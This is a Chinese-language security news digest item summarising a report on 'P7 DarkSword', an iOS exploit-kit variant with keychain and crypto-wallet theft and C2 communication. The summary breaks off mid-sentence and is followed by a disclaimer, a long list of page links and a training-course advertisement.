10、 DarkSword iOS漏洞利用工具新增加密钱包窃取和远程命令功能
https://thehackernews.com/2026/10/p7-darksword-ios-exploit-kit-adds.html 网络安全研究人员披露了名为“P7 DarkSword”的 iOS 漏洞套件的一个此前未见过的变种细节。iVerify 周四发布的一份新报告中说：“与我们所观察到的通常变种相比，P7 减少了设备上的存在痕迹，增加了设备密钥串和加密钱包盗窃功能，并增加了与攻击者基础设施的双向 C2 通信。”“P7”这个名字是对威胁行为者在修改原始 DarkSword 代码时使用“p7_”变量前缀的一种致敬。DarkSword 于今年 3 月初由谷歌威胁情报小组（GTI
以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页
蚁景网安学院火热招生中，限时领取大额优惠券，快来抢购吧~
扫码咨询客服了解招生最新内容和活动
